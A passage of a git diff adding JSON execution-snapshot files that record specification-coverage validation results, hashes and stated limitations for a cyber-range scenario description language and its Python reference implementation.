"artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "7531f0ffb125a928a8cd9c8b57443aa175c3dc7ea921f0b51eab6377f2443459", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "8a158cb1b1d3a5695409fcdfdf14d1a0607d597b", + "snapshot_id": "issue-1360-specification-coverage-v49", + "snapshot_revision": "49.0.0", + "source_state": { + "base_revision": "8a158cb1b1d3a5695409fcdfdf14d1a0607d597b", + "checkout_state": "modified", + "implementation_digest": "1157e520ea06390072485a32ed4bd10c1e4a08ff56aaa80aa198b60343704072", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v50.json b/docs/research/specification-coverage/execution-snapshot-v50.json new file mode 100644 index 000000000..6a91eaa51 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v50.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "experiment-task-contract", + "kind": "experiment-task", + "path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc", + "validator": "raes_contracts.contracts.ExperimentTaskModel" + }, + { + "artifact_id": "apparatus-context-contract", + "kind": "experiment-apparatus-context", + "path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299", + "validator": "raes_contracts.contracts.ExperimentApparatusContextModel" + }, + { + "artifact_id": "backend-profile", + "kind": "backend-profile", + "path": "contracts/profiles/backend/orchestration-capable.json", + "sha256": "f70b8505a5c0055416db86c533e2e5bf08b11e5a514f076223b6d6c36215a092", + "validator": "raes_contracts.backend_profiles.BackendProfileModel" + }, + { + "artifact_id": "known-limitations", + "kind": "documentation", + "path": "docs/explain/sdl/limitations.md", + "sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4", + "validator": "documentation evidence only" + } + ], + "baseline": { + "release_revision": "1.1.0", + "release_sha256": "4020a1d56c7fe2831cec59ea64a12bbda9d38ccd94f93b916dd90f1a28f17fcb" + }, + "captured_at": "2026-09-25T02:52:47.736460+00:00", + "concept_results": [ + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "range-topology", + "rationale": "SDL nodes and infrastructure own host, network, link, and dependency meaning; the compiler emits canonical node deployment addresses.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed VM declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Links and dependencies resolved.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Published instantiated shape admitted.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical deployment address retained.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "exercise-roles", + "rationale": "SDL entity roles own exercise responsibility without becoming control-plane identity or authorization.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed red role.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Entity references validated.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained after instantiation.", + "outcome": "passed", + "pointer": "/entities/enterprise-participant/role", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Role retained in entity specification.", + "outcome": "passed", + "pointer": "/entity_specs/enterprise-participant/role", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/entities/enterprise-participant/role" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-objectives", + "rationale": "SDL objectives own organization ownership, participant assignment, targets, windows, and assertion-based success; measures remain experiment contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed objective declaration.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Owner, participant assignment, targets, assertions, and workflow refs resolved.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff/success", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Objective retained in admitted artifact.", + "outcome": "passed", + "pointer": "/objectives/demonstrate-handoff", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical objective address retained.", + "outcome": "passed", + "pointer": "/objectives/evaluation.objective.demonstrate-handoff", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/objectives/demonstrate-handoff" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "control-workflows", + "rationale": "SDL workflows own the portable control graph and compile to canonical orchestration state contracts.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed control graph.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Step graph and objective refs validated.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery/steps", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Workflow retained after instantiation.", + "outcome": "passed", + "pointer": "/workflows/yard-recovery", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical control graph retained.", + "outcome": "passed", + "pointer": "/workflows/orchestration.workflow.yard-recovery", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/workflows/yard-recovery" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "authored-evidence-expectations", + "rationale": "SDL evidence requirements own portable capture intent and remain distinct from evidence records and measures.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed capture obligation.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Source refs and bindings validated.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Evidence intent retained in admitted artifact.", + "outcome": "passed", + "pointer": "/evidence_requirements/objective-truth-evidence", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + } + ], + "typed_pointer": "/evidence_requirements/objective-truth-evidence" + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-selection-constraints", + "rationale": "The experiment task contract binds processor/backend identities, manifest refs, and capabilities outside SDL.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed ExperimentTaskModel validated.", + "outcome": "passed", + "pointer": "/apparatus_constraints/allowed_backend_refs/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/apparatus_constraints/allowed_backend_refs/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-agent", + "rationale": "SDL agents own participant entity, knowledge, actions, observation boundaries, and operating scope.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed participant declaration.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant refs and scope validated.", + "outcome": "passed", + "pointer": "/agents/participant-agent/observation_boundaries", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Participant retained in admitted artifact.", + "outcome": "passed", + "pointer": "/agents/participant-agent", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Compiled participant scope retained.", + "outcome": "passed", + "pointer": "/agent_specs/participant-agent", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/agents/participant-agent" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-action-contract", + "rationale": "The action contract declares portable preconditions, effects, observations, evidence, and failure classes without a runner command.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed action contract.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action refs and evidence bindings validated.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login/effects", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Action retained in admitted artifact.", + "outcome": "passed", + "pointer": "/action_contracts/probe-customer-portal-login", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical action address retained.", + "outcome": "passed", + "pointer": "/action_contracts/participant.action-contract.probe-customer-portal-login", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/action_contracts/probe-customer-portal-login" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "participant-observation-boundary", + "rationale": "The observation boundary separately declares visible, hidden, and evidence-only information with transition rules.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed observation boundary.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Information refs and transitions validated.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view/view_rules", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Boundary retained in admitted artifact.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant-view", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "diagnostic_codes": [], + "note": "Canonical boundary address retained.", + "outcome": "passed", + "pointer": "/observation_boundaries/participant.observation-boundary.participant-view", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/observation_boundaries/participant-view" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "evaluation-measure", + "rationale": "ExperimentTaskModel owns metric construct, unit, direction, aggregation, and evidence requirements outside SDL objectives.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed task contract validated.", + "outcome": "passed", + "pointer": "/evaluation_protocol/metric_definitions/foothold-achieved", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/evaluation_protocol/metric_definitions/foothold-achieved" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "participant-tool-affordance", + "rationale": "This preregistered matrix has no tested carrier for participant tool affordances. The retained missing classification records missing coverage evidence, not the absence of current participant-behavior capabilities.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The preregistered carrier slot was not run; metadata does not substitute for a typed coverage test.", + "outcome": "not_run", + "pointer": null, + "stage_id": "authored", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "directly-expressible", + "completeness_disposition": "implemented", + "concept_id": "resource-constrained-topology", + "rationale": "SDL node resources and infrastructure dependencies express portable resource intent without provider resource identifiers.", + "stage_results": [ + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Typed CPU and memory declaration.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "authored", + "validation_strength": "structural" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Resource-bearing topology validated.", + "outcome": "passed", + "pointer": "/infrastructure/shipping-portal", + "stage_id": "semantic", + "validation_strength": "semantic" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Constraints retained in admitted artifact.", + "outcome": "passed", + "pointer": "/nodes/shipping-portal/resources", + "stage_id": "instantiated", + "validation_strength": "phase-admitted" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "diagnostic_codes": [], + "note": "Deployment specification retains resource intent.", + "outcome": "passed", + "pointer": "/node_deployments/provision.node.shipping-portal", + "stage_id": "compiled", + "validation_strength": "compiled" + } + ], + "typed_pointer": "/nodes/shipping-portal/resources" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "formal-constraint-satisfiability", + "rationale": "This coverage matrix did not exercise a solver-backed carrier. The separate formal-semantic-validation release demonstrates its bounded finite-domain profile; that result is not silently imported into this protocol's missing carrier slot.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "No coverage-carrier execution was performed here; independent solver evidence does not change this preregistered denominator.", + "outcome": "not_run", + "pointer": null, + "stage_id": "semantic", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [ + { + "allowed": true, + "artifact_path": "source:vsdl-paper", + "pointer": "source sections 4-5", + "reason": "Legitimate VSDL realization vocabulary, not RAES core SDL structure.", + "term": "OpenStack/Terraform/Packer" + } + ], + "classification": "deliberately-backend-specific", + "completeness_disposition": "external", + "concept_id": "provider-specific-provisioning", + "rationale": "Provider image selection and provisioning engines are realization mechanics and therefore remain outside core SDL.", + "stage_results": [ + { + "artifact_path": "contracts/profiles/backend/orchestration-capable.json", + "diagnostic_codes": [], + "note": "The portable boundary requires backend contracts; it does not standardize a provider engine.", + "outcome": "not_applicable", + "pointer": "/required_contracts", + "stage_id": "realization-disclosure", + "validation_strength": "profile" + } + ], + "typed_pointer": null + }, + { + "backend_support": "profile-bound", + "backend_vocabulary_occurrences": [], + "classification": "profile-or-manifest-constraint", + "completeness_disposition": "implemented", + "concept_id": "apparatus-clock-context", + "rationale": "ExperimentApparatusContextModel records clock authority, time domain, and synchronization as apparatus facts outside scenario meaning.", + "stage_results": [ + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "diagnostic_codes": [], + "note": "Closed apparatus context contract validated.", + "outcome": "passed", + "pointer": "/clocks/0", + "stage_id": "contract", + "validation_strength": "contract" + } + ], + "typed_pointer": "/clocks/0" + }, + { + "backend_support": "not-evaluated", + "backend_vocabulary_occurrences": [], + "classification": "missing", + "completeness_disposition": "documented-gap", + "concept_id": "federated-object-event-exchange", + "rationale": "The federated cyber object/event exchange carrier was not exercised by this preregistered matrix. Runtime event internals are not treated as equivalent evidence.", + "stage_results": [ + { + "artifact_path": "docs/explain/sdl/limitations.md", + "diagnostic_codes": [], + "note": "The missing coverage-carrier test is recorded explicitly, without inferring an ecosystem-wide capability absence.", + "outcome": "not_run", + "pointer": null, + "stage_id": "contract", + "validation_strength": "not-applicable" + } + ], + "typed_pointer": null + } + ], + "deviations": [ + { + "artifact_path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "baseline_sha256": "54ba1a60220e27a55da9cd2a407d7d3ab836fa54460d0b0c6cad87c2e744ddbb", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032" + }, + { + "artifact_path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "baseline_sha256": "a27c7a64e0c5c618fadaccafdf1a4e71600170a8b77b983190822b5141f00dec", + "rationale": "Migrate participant affiliations and explicit objective assignment, retaining organizational intent and portable action-contract declarations without granting execution authority.", + "retest_sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-task-v1/valid/reference.json", + "baseline_sha256": "21952a752f4e8581a9fc3b872e4bc308150548170d38bcfc83dbbe35ff5e0b9f", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "f3edf713ac6af26bad609136851c6dd434bfb87ce919a2d8c4414c1035deeafc" + }, + { + "artifact_path": "contracts/fixtures/experiment-core/experiment-apparatus-context-v1/valid/reference.json", + "baseline_sha256": "9536d897a09cbc6920e667e4f8f9371e51307aa0b3b5ff3c7de682dd783420ab", + "rationale": "Replay the retained preregistered artifact against the current evidence-provenance validation implementation.", + "retest_sha256": "e6fa559c5e961f0aab448d0f70dead24aa74fa8ba5f20e1b72f88e11473c9299" + }, + { + "artifact_path": "docs/explain/sdl/limitations.md", + "baseline_sha256": "129cf17810aad4c51988bc872e28fe43ae95019a80053c42d800ff7e2b9cc93e", + "rationale": "Correct historical mandatory-profile guidance after issue #1207; retain the preregistered missing-concept classifications and coverage limits.", + "retest_sha256": "489eeab3ce682627682311581eb98af9abb9ff42a437145af266eefb71dc7fc4" + } + ], + "execution_status": "complete", + "implementation_surfaces": [ + { + "content_sha256": "9f7edff3ddc324cec333556ce8044c137f87c978a8c38f20f92971259625c43e", + "path": "implementations/python/packages/raes_contracts", + "surface_id": "contract-models" + }, + { + "content_sha256": "4999b8adf294f364a758bc9cf78816d5da9eae1c263ae678eabe4d0e2c82dec6", + "path": "implementations/python/packages/raes_processor", + "surface_id": "processor-pipeline" + }, + { + "content_sha256": "9ecd780448b054693503bab246120a1a2bb49a43016d0b9c27c5284ba609833f", + "path": "implementations/python/packages/raes", + "surface_id": "sdl-pipeline" + } + ], + "limitations": [ + "The execution validates the pinned reference implementation and published contracts, not an independent backend.", + "Repository-owned examples are exact execution artifacts but are not themselves the literature-derived request corpus; the protocol's requests and concepts are.", + "No live range, participant, simulator federation, or provider provisioning engine was executed.", + "Missing concepts remain frozen in this snapshot and require separately scoped product work before a later rerun.", + "This capture replays the retained protocol after EXP-732 run, apparatus, measurement-channel, and augmentation-producer provenance validation; it adds no independent backend or universal provenance assurance claim.", + "Materialization attestation is covered by its dedicated regression suite, not a new claim in this preregistered matrix.", + "This capture refreshes the corrected runtime limitations prose for issue #959; the protocol, coverage classifications and implementation source are unchanged.", + "This capture replays open-by-default augmentation scope integrated with the EXP-731 evidence refinements after composition type refinement; it does not evaluate native backend scope enforcement or broaden the preregistered coverage claims.", + "This capture replays the retained protocol after merging ACT-612 participant relationships with open-by-default augmentation scope; it adds no claim of realized participant relationships or native backend scope enforcement.", + "This capture replays issue #1299 partial listener descriptions on the integrated source state; endpoint completeness and backend admission remain outside this protocol's claims.", + "This capture also binds authoring-adapter semantic conformance to the integrated source; adapter transport behavior remains outside this protocol's claims.", + "Reviewed OCI mirror and pre-seed admission is covered by its own regression suites and the development artifact policy gate, not a new claim in this preregistered matrix.", + "This capture binds issue #1297 service-manager identity, native-name, and explicitly selected systemd-state contract changes to the integrated source. It exercises no live service manager and adds no backend-execution claim.", + "This capture replays the retained specification-coverage protocol after API-404 startup reconciliation added an operational recovery-observation contract. It does not evaluate crash recovery, classify provider effects, or broaden EXP-715 experiment-observation claims.", + "This capture binds API-404 single-owner store admission and immutable target/run scope to the integrated source. The retained offline protocol does not exercise process leases, SQLite lifecycle ordering, or crash recovery.", + "This capture binds issue #1015 deterministic mixed and staged trial admission to the integrated source. The retained offline language corpus does not execute mixed runtimes, phase transitions, backend handoff, or scheduler-driven realization.", + "This replay binds issue #1186 offline control-plane maintenance, readiness, and bounded audit code to the integrated source. The retained language corpus does not execute store recovery, HTTP health behavior, or audit redaction.", + "Issue #1187 control-plane crash/profile conformance and HTTP security changes are covered by their dedicated regression suite, not promoted to new claims by this retained corpus.", + "Issue #1189 control-plane profile declarations are covered by their dedicated runtime suite, not promoted to new claims by the retained language corpus.", + "Issue #1016 mixed-runtime coordination is covered by its dedicated runtime suite. The retained language corpus does not execute mixed providers or establish backend-native realization, multi-controller coordination, IFC, or equivalence.", + "Issue #610's reconciliation demonstration harness is covered by its dedicated processor and CLI suite, not promoted to new claims by the retained language corpus.", + "Participant identity, organization ownership, and participant assignment are separated by issue #1338. This retained offline corpus does not establish participant autonomy, execution authority, live backend fidelity, or causal attribution." + ], + "protocol_revision": "1.0.0", + "protocol_sha256": "e97a19e643e94c9e589dca823a63c6ce49d3329fe2a3cb888ab630838ed93125", + "raes_revision": "b827185b1efcfba324a57fd6fd84e801868b5177", + "snapshot_id": "issue-1360-specification-coverage-v50", + "snapshot_revision": "50.0.0", + "source_state": { + "base_revision": "b827185b1efcfba324a57fd6fd84e801868b5177", + "checkout_state": "modified", + "implementation_digest": "ff02d6c5409926c36e99322264e7e3b99b57cab2bad7e29af883dbbcb4667fc0", + "profile": "python-reference-source/v2" + } +} diff --git a/docs/research/specification-coverage/execution-snapshot-v51.json b/docs/research/specification-coverage/execution-snapshot-v51.json new file mode 100644 index 000000000..dd8e3b4b9 --- /dev/null +++ b/docs/research/specification-coverage/execution-snapshot-v51.json @@ -0,0 +1,700 @@ +{ + "artifacts": [ + { + "artifact_id": "enterprise-participant-sdl", + "kind": "sdl", + "path": "examples/scenarios/enterprise-participant-evidence-loop.sdl.yaml", + "sha256": "f7a8897beec243e188ee081975006fad32725f469f267db6e75a1e1cf5727032", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": "port-range-sdl", + "kind": "sdl", + "path": "examples/scenarios/port-authority-surge-response.sdl.yaml", + "sha256": "0d5497ec946b863e6985284ec487dde7d7f6bf710a985be51401ac0e5e79dc4f", + "validator": "raes parse, semantic, instantiation/admission, and compiler pipeline" + }, + { + "artifact_id": 